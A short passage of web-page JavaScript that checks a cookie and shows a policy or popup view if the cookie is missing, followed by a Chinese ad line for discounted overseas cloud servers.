closePage();

}*/

}

}

}

 

xhr.send();

}

try{

 

_oP78_000.policyParam = _oP78_000.getPolicyParam();

if (_oP78_000.GetCookie(_oP78_000.policyParam) == null){

_oP78_000.view();

_oP78_000.removePosition();

}

}catch (err) {}

 

 

 

广告宣传:国外云商品大促,全世界连接点1折起,各地域可选择